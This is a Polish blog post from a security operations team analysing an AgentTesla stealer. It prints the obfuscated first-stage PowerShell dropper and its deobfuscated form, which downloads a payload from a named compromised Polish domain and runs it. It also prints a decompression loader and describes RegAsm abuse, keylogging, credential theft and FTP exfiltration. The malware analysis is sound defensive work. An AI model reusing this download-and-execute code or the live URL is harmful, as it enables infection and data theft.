BLOG
Analysis

Analiza stealer'a z rodziny AgentTesla

Raport z analizy wstecznej stealer'a z rodziny AgentTesla

null Kuba Nicpoń
2025-01-04
null

Zespół SOC360 monitoruje sieci, punkty końcowe oraz środowiska chmurowe największych organizacji w Polsce, z wykorzystaniem technologii EDR/XDR/NDR od wiodących producentów (SentinelOne, PaloAlto, Crowdstrike, MDE, Fidelis, Cybereason). W trakcie analizy Zespół SOC360 natrafia na różnego rodzaju oprogramowanie, często niejednoznacznie klasyfikowane przez systemy bezpieczeństwa, które wymaga szczegółowej weryfikacji kontekstu. Pozwala to na podjęcie adekwatnych reakcji i sformułowanie odpowiednich zaleceń.

Wstęp

Niniejszy raport zawiera podsumowanie analizy silnie zobfuskowanego, niedawno przygotowanego i nierozpoznawalnego przez większość komercyjnych silników reputacyjnych oprogramowania, które zostało wykorzystane do kradzieży danych z jednego z hostów. Etapy ataku obejmowały pobranie złośliwego skryptu, połączenie się z adresem URL w polskiej domenie w celu pobrania drugiego etapu, pobranie i uruchomienie dwóch niezależnych plików .dll, a na końcu kradzież danych z różnych zasobów oraz wysłanie danych na serwer FTP atakujących. Kilka dni po ataku złośliwy skrypt został przypisany rodzinie AgentTesla – jednego z najpopularniejszych RAT’ów/Stealer’ów na rynku.

Pierwsza detekcja

1 lutego 2024 roku u jednego z klientów wykryty został podejrzany skrypt .bat. Ścieżka pliku zawierają CdRom0 sugerowała zamontowanie obrazu ISO na hoście co w omawianym okresie jest popularną metodą dostarczania złośliwego oprogramowania. Plik nie był podpisany, a proces źródłowy określono jako explorer.exe, co z dużym prawdopodobieństwem sugeruje ręczne uruchomienie pliku po pobraniu przez użytkownika. W dniu wykrycia plik został oznaczony przez wszystkie dostępne źródła TI jako bezpieczny i analizowany w chmurze po raz pierwszy zaledwie 2 godziny przed wykryciem. Wykrycie w systemie EDR wdrożonym u klienta zostało spowodowane przez dynamiczny silnik detekcji weryfikujący pełną historię aktywności podejrzanego procesu.

null
1. Pierwsza detekcja w systemie klasy EDR.

To, na co natychmiast należy zwrócić uwagę to:

  • Liczba i rodzaj dynamicznych indykatorów, w szczególności tych mogących sugerować kradzież informacji.
  • Uruchamianie skryptów PowerShell w tym z pomocą procesów klasyfikowanych jako LOLBin.
  • CdRom0 w ścieżce wskazujący na zamontowanie obrazu ISO – w okresie typowy wektor wejściowy.
  • Nazwa pliku imitująca dokument Office.
  • Utworzenie aliasu dla funkcji Invoke-Expression – jedna z wielu typowych metod obfuskacyjnych.

null
2. Tworzenie aliasu dla cmdlet IEX (Invoke-Expression) odpowiadającego za uruchamianie określonego ciągu jako polecenia

Analiza pierwszego skryptu (fałszywy dokument tekstowy)

Pierwszy z wywołanych skryptów, dobrze widoczny z poziomu telemetrii zbieranej przez system klasy EDR, został zdeobfuskowany i pozwolił na uzyskanie dostępu do kolejnych etapów ataku. Pozostałe skrypty oraz dociągnięte pliki wykonywalne uruchamiane były w pamięci procesu i nie były do nich wglądu z poziomu telemetrii systemu. Mimo tego, szybka analiza wsteczna skryptu z pierwszego etapu pozwoliła na pobranie i zapisanie kolejnych etapów do dalszej analizy zanim infrastruktura atakujących zdążyła zrotować i tym samym stać się niedostępna.

“$rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','Str','ing';$rotJ=($rot -join '');$bnt='https','://regplast.pl/mx1.jpg';$bntJ=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bntJ);z($mv)”

Po zdeobfuskowaniu wygląda następująco:

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
[void] [Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic')
do {
    $ping = Test-Connection -ComputerName google.com -Count 1 -Quiet
} until ($ping)
$webClient = New-Object Net.WebClient
$url = 'https://regplast.pl/mx1.jpg'
$content = $webClient.DownloadString($url)
Invoke-Expression $content”

Skrypt ustawia alias pod literą „z” dla funkcji Invoke-Expression, która przyjmuje jako parametr ciąg znaków będący kodem do wykonania. Alias ten jest później wielokrotnie używany zarówno do uruchomienia funkcji deobfuskacji potrzebnych do dekodowania kolejnych fragmentów złośliwego kodu, jak i do wykonywania tego kodu w kontekście bieżącej sesji konsoli. Takie działania mają miejsce do momentu uruchomienia na samym końcu procesu wykradającego dane. Większość fragmentów kodu PowerShell wykonywanych w złośliwym skrypcie była oczywiście silnie zobfuskowana m.in. za pomocą:

  • Podzielenia nazw i zmiennych na wiele fragmentów
  • Odwracania kolejności znaków w ciągach
  • Kodowania ciągów znaków różnymi metodami, zarówno natywnymi jak i zaimplementowanymi ręcznie przez twórców złośliwego oprogramowania

Skrypt następnie sprawdza możliwość nawiązania komunikacji internetowej po czym pobiera dalszy kod napisany w języku PowerShell podszywający się pod obrazek. Plik pochodzi z adresu https://.pl/mx1.jpg. Domena należy do rzeczywistej polskiej organizacji, która została wcześniej skompromitowana przez złośliwych aktorów. Wykorzystywanie skompromitowanej infrastruktury jest dla atakujących bardzo wygodną metodą ułatwiającą nie tylko omijanie systemów bezpieczeństwa ale też utrudniająca pracę analitykom. Jest to spowodowane m.in. tym, że:

  • silniki detekcji przez długi czas nie wykrywają domeny jako złośliwej
  • jej historia m.in. okres rejestracji i jednostka rejestrująca wzbudzają zaufanie (także w systemach)
  • zaufane certyfikaty SSL nie wzbudzają podejrzeń
  • ruch sieciowy wygląda na standardowy (oczekiwany)
  • w niektórych sytuacjach niemożliwe jest natychmiastowe blokowanie takich domen

null
3. Strona tytułowa skompromitowanej domeny będącej częścią łańcucha ataku

Analiza drugiego skryptu

Plik udający obrazek pobrany z domeny .pl był kolejnym, silnie zobfuskowanym skryptem PowerShell. Zawierał dodatkowe komentarze mające na celu przekonanie użytkownika, który go wyświetli, że służy celom edukacyjnym (This script isn’t meant to be used for bad intentions. This is for education purposes only.). Plik ten nie jest znany źródłom TI. Na potrzeby niniejszego raportu będzie określany jako MalPSScript1.ps1.

null
4. Zawartość drugiego skryptu udającego obrazek pobranego z polskiej domeny

W pliku zdefiniowana była zaszyfrowana funkcja $m0ght, która została załadowana do sesji. Aby odszyfrować polecenie należało:

  1. Zastąpić literę „A” znakiem „00”, aby utworzyć tabelę bajtów (8 bitów zapisanych jako liczby binarne).
  2. Przekształcić ciąg binarny na wartość całkowitą.
  3. Przekształcić wartości całkowite na ciąg znaków przy użyciu dekodowania UTF-8.
  4. Użyć wcześniej załadowanej i wykorzystywanej na wcześniejszych etapach funkcji $bd=»[system.String]::Join(«''», $m0ght)«, aby połączyć litery i utworzyć finalny skrypt.

null
5. Funkcja $m0ight przed deobfuskacją
null
6. Zdeobfuskowana funkcja widoczna w konsoli PowerShell

Funkcja rt45fg00

Poniżej znajduje się w pełni zdeobfuskowana funkcja rt45fg00, będąca częścią fałszywego obrazka, odpowiadająca za poprawne wykonanie pozostałej części kodu:

“function rt45fg00 {
    [CmdletBinding()]    Param ([byte[]] $byteArray)    Process {
        $gkdf = ('([IO.Compression.CompressionMode]::Decompress)') | z
        $vwlOVUmY = ('New-' + 'Objec' + 't System' + '.IO.Mem' + 'oryStream( , $by' + 'teArray )') | z    
        $pXWabbBT = ('Ne' + 'w-Obj' + 'ect Syst' + 'em.IO.Mem' + 'oryS' + 'tream') | z
        $lfKDElJ = New-Object System.IO.Compression.GzipStream $vwlOVUmY, $gkdf     
        $ULxHecLpL = ('New' + '-Obj' + 'ect by' + 'te[](10' + '24)') | z
        while ($true) {
            $iLQC = $lfKDElJ.Read($ULxHecLpL, 0, 1024)  
            if ($iLQC -le 0) { break }
            $pXWabbBT.Write($ULxHecLpL, 0, $iLQC)
        }
        [byte[]] $bout = $pXWabbBT.ToArray()
        Write-Output $bout
    }
}

Funkcja odpowiadała za dekompresję i uruchomienie zaszyfrowanego kodu obecnego w pozostałej części MalPSScript1. Rozkodowywała kluczowe zmienne podawane następnie jako parametry do końcowej funkcjonalności kodu. Jego zadaniem było utworzenie zmiennej $bout z ciągu bajtów podawanych jako argumenty funkcji. Odkodowanym rezultatem był plik binarny .dll, później załadowany do sesji i wykorzystany w dalszej części ataku. Był to złożony sposób załadowania pliku .dll w celu wykorzystania dodatkowych funkcji w nim zdefiniowanych. Wywołanie funkcji oraz same zmienne podawane jako argumenty były, zgodnie z oczekiwaniami, zdefiniowane w losowo porozrzucanych fragmentach pliku mających na celu dalsze utrudnienie analizy.

null
7. Jedno z kilku wywołań funkcji rt45fg00 znajdujące się pomiędzy długi ciągami zobfuskowanych tablic bajtów

Pierwszy zdeobfuskowany plik .dll

Na końcu skryptu zlokalizowane wywołanie funkcji o nazwie Black z przestrzeni nazw toooyou zdefiniowanej przez twórcę oprogramowania. Jako argumenty podawany był ciąg znaków "RegAsm.exe" oraz długa tablica bajtów znajdujaca się w pliku (fałszywym obrazku). Takie wywołanie jednoznacznie wskazuje na konieczność zdefiniowania funkcji Black w pierwszym z długich ciągów bajtów.

null
8. Wywołanie funkcji Black z przestrzeni nazw toooyou oraz podanie jako argument popularnego LOLBin’a

RegAsm.exe jest znanym procesem typu LOLBin, który może zostać wykorzystany do załadowania biblioteki .dll i wywołania zdefiniowanych w niej obiektów tym samym oszukując proste mechanizmy systemów bezpieczeństwa i pozostając niewykrytym. Podanie do procesu RegAsm.exe tablicy bajtów i wywołanie jej w ten sposób było spodziewaną aktywnością.

null
9. Przykładowe wykorzystanie procesu RegAsm.exe do załadowania i wykonania funkcji z bibliotek .dll

Biorąc pod uwagę zdobytą wiedzę na temat działania funkcji rt45fg00 oraz pozostałą zawartość pliku MalPSScript.ps1, poniższe działania zostały wykonane na pierwszej z tablic bajtów ($y74gh00rffd), aby lepiej zrozumieć jej rolę, oraz rolę przestrzeni nazw toooyou i funkcji Black w przebiegu ataku: 1. W% zostało zastąpione przez 0x w celu utworzenia prawidłowej tablicy bajtów. 2. Zmienna została określona jako argument funkcji rt45fg00 i uruchomiona w celu dekompresji zawartości. 3. Plik został zapisany na dysku jako tak, aby móc zdebuggować go za pomocą zewnętrznych narzędzi.

Ze względu na wykorzystanie skryptów PowerShell i typową konstrukcję złośliwego oprogramowania analiza sugerowała, że jest to biblioteka .dll stworzona z wykorzystaniem środowiska .Net. Zgodnie z oczekiwaniami dekompilacja przebiegła pomyślnie i możliwe było przeanalizowanie pierwszej z bibliotek .dll. Na potrzeby niniejszego raportu nazwana została dll1.dll. Plik ten nie był znany źródłom TI. Głównym celem było znalezienie definicji funkcji Black wykorzystywanej w późniejszej części skryptu do załadowania drugiego ciągu bajtów.

null
10. Definicja funkcji Black w przestrzeni toooyou

Analiza drugiej tablicy bajtów

W trakcie analizy pojawiło się podejrzenie, że plik dll1.dll był używany głównie do tworzenia zaciemnionych funkcji umożliwiających atakującym uruchamianie programu RegAsm.exe bez wykrycia. Dlatego większość docelowych złośliwych funkcji powinna znajdować się już w drugiej z tablic bajtów zdefiniowanej w obiekcie o nazwie $IFmn. Był to ten sam obiekt, który następnie przekazywano jako drugi parametr obok RegAsm.exe (spodziewane wywołanie złośliwej .dll z wykorzystaniem LOLBin RegAsm.exe). Wykonując czynności podobne do tych co w przypadku dll1.dll, ze skryptu wyodrębniono plik dll2.dll. Plik ten nie był znany źródłom TI. Na potrzeby niniejszego raportu nazwiemy go dll2.dll. Zgodnie z przypuszczeniami plik dll2.dll, przygotowany do wywołania z wykorzystaniem RegAsm.exe, zawierał szereg zobfuskowanych funkcji, które głównym celem była eksfiltracji danych użytkownika.

null
11. Wyodrębnione przestrzenie nazw i funkcje z pliku dll2.dll

Plik był silnie zobfuskowany. Zawierał wiele zbędnego, niewykorzystywanego kodu i odwołań, losowo generowane nazwy zmiennych i funkcji, sztucznie utworzone złożone zmienne przechowujące stałe wartości całkowite i parametry konfiguracyjne itp. W trakcie analizy udało się wyodrębnić wiele podejrzanych funkcji odwołujących się do Windows API a także niestandardowych, ręcznie napisanych przestrzeni nazw używanych do enumeracji hosta a następnie znajdowania i eksfiltracji danych z komputera ofiary. Wykradanie danych obejmowało m.in.:

  • monitorowanie klawiszy wciskanych przez użytkownika
  • wykonywanie okresowych zrzutów ekranów monitora komputera ofiary
  • wykradanie zawartości schowka (kopiuj/wklej) ofiary
  • kradzież danych logowania zapisanych w popularnych przeglądarkach internetowych
  • kradzież danych z błędnie skonfigurowanych baz danych różnych typów
  • wykradanie danych z podatnych aplikacji do przechowywania haseł

null
12. Fragment kodu odpowiadającego za wykradanie danych z przeglądarki internetowej Opera

null
13. Część z funkcji odpowiadających za komunikację z API Windows, wspierających wykradanie danych

Kolejne wywoływane funkcje były ustrukturyzowane tak, aby:

  1. Zenumerować hosta (dane systemowe, użytkownika, domenowe i wiele innych).
  2. Ustanowić persistence na hoście z wykorzystaniem Harmonogramu Zadań.
  3. Wykraść dane z jak największej ilości źródeł i przesłać je na serwer atakujących.

null
14. Główna funkcja podzielona na kolejne etapy odpowiadające za konkretną funkcjonalność oprogramowania

Wszystkie dane zostały starannie zebrane w spójną strukturę danych przed wysłaniem na serwer atakujących. Dane obejmowały zarówno informacje systemowe, czasowe jak i same wykradzione dane. Możliwe było wyodrębnienie parametrów wskazujących na eksfiltrację za pośrednictwem protokołu FTP.

null
15. Główna funkcja podzielona na kolejne etapy odpowiadające za konkretną funkcjonalność oprogramowania

null
16. Ustalone na sztywno dane logowania serwera FTP, na który przesyłane były wykradzione dane

Serwer FTP

Każdy z zainfekowanych hostów miał swój własny punkt końcowy, do którego wysyłane były dane:

null
17. Dynamiczne tworzone unikalne foldery dla każdej nowej ofiary

Możliwe jest zalogowanie się do serwera FTP przy użyciu danych uwierzytelniających znalezionych w zdekompilowanej bibliotece .dll. Konieczne jest najpierw zidentyfikowanie konkretnego zainfekowane punktu końcowego, ponieważ samo zalogowanie nie pozwala użytkownikowi przejść do żadnego innego katalogu niż katalog domowy. Każdy katalog opisany jest datą, nazwą komputera oraz użytkownikiem co praktycznie uniemożliwia wyszukiwanie innych zainfekowanych ofiar.

null
18. Logowanie do serwera FTP atakujących

Podsumowanie

Analiza ta stanowi doskonały przykład tego, jak atakujący wykorzystują różne metody obfuskacji kodu, aby ominąć mechanizmy bezpieczeństwa i pozostać niewykrytymi, również w zakresie zabezpieczania wykradzionych danych. Prosta analiza przeprowadzona przez niedoświadczonego analityka może skutkować przeoczeniem ataku, ponieważ źródła TI są w podobnym przypadku całkowicie mylące (rotacja metadanych np. sumy kontrolnej jest trywialna). W takich sytuacjach konieczna jest dogłębna analiza, aby analityk uzyskał wszystkie niezbędne informacje na temat ataku, a w szczególności mógł na ich podstawie podjąć odpowiednie akcje remediacyjne i przygotować zalecenia. Jest to dobre studium przypadku pokazujące konieczność korzystania z systemów klasy EDR, jednoczesnego wyszukiwania danych w źródłach CTI a także prowadzenia analizy wstecznej kodu obejmującej deobfuskację i dekompilację kodu. Na podstawie specyficznych fragmentów kodu oraz zastosowanych metod obfuskacyjnych zagrożenie zostało sklasyfikowane jako RAT/Stealer z rodziny AgentTesla.

null
19. Popularność AgentTesla w trendach any.run


Autor

null
Kuba Nicpoń , CTI Team Leader , SOC360